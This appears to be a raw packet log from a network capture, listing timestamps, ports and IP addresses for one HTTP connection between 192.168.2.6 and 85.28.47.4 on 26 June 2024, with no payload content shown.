Jun 26, 2024 08:16:23.044723988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044729948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044744015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044758081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044773102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044784069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044784069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044795990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044811010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044826031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044833899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044842005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044857025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044857979 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044872999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044887066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044888973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044900894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044903994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044919014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044923067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044934034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044956923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044971943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044986963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044991970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044991970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045001030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045017004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045032024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045033932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045047045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045053959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045069933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045084000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045089960 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045100927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045114994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045135021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045150042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045164108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045164108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045165062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045170069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045186043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045201063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045212984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045214891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045231104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045243979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045258999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045260906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045260906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045274973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045289993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045304060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045305014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045320988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.045367002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045367002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.045677900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.046227932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105192900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105262041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105309010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105365038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105401039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105416059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105449915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105452061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105449915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105468988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105485916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105520010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105547905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105547905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105552912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105571985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105587959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105621099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105633020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105633020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105643034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105659008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105674982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105683088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105693102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105712891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.105720997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105720997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105734110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.105758905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111664057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111679077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111694098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111710072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111726046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111741066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111749887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111757040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111763954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111772060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111778021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111778975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111778021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111804008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111819983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111835003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111835003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111835003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111851931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111866951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111881971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111888885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111898899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111913919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111917973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111929893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111944914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111948967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111967087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111972094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.111983061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.111998081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112013102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112014055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112027884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112044096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112051010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112051010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112060070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112078905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112085104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112102032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112124920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112133026 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112140894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112154007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112158060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112174034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112180948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112189054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112205029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112212896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112220049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112235069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112247944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112250090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112267971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112289906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112298965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112298965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112306118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112323046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112341881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112360001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112360001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112360001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112375021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112382889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112390995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112407923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112423897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112425089 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112440109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112447977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112456083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112472057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112478018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112503052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112519979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112526894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112535000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112539053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112550974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112569094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112582922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112596989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112612009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112615108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112627983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112642050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112643957 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112658024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112673044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.112675905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112724066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.112739086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115675926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115704060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115719080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115822077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115822077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115822077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115839005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115855932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115870953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115885973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115888119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115905046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115920067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115933895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115971088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.115972996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.115972996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116009951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116027117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116027117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116061926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116081953 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116092920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116107941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116122961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116159916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116173983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116189957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116203070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116203070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116215944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116230965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116255999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116255999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116266966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116282940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116288900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116298914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116306067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116316080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116331100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116336107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116394043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116394043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116415977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116430044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116445065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116458893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116473913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116477013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116498947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116527081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116528034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116528034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116542101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116556883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116571903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116581917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116631985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116631985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116663933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116679907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116694927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116708040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.116728067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.116769075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.192825079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192862034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192878008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192948103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192961931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192970037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192977905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.192986965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193027020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193037033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.193043947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193092108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.193130016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.193135977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193151951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193176031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193192959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193208933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.193209887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.193289995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.193289995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.201939106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202025890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202040911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202055931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202070951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202085972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202100992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202109098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202151060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202163935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202166080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202182055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202197075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202212095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202220917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202227116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202244043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202245951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202294111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202294111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202796936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202811956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202826977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202841043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202856064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202869892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202886105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202899933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202909946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202909946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202915907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202939987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202955008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202963114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202963114 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202970982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.202985048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.202987909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203011990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203027964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203042030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203057051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203071117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203078985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203078985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203078985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203088045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203104973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203119993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203135967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203135967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203135967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203154087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203170061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203185081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203197956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.203200102 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.203213930 CEST	80	49713	85.28.47.4	192.168.2.6
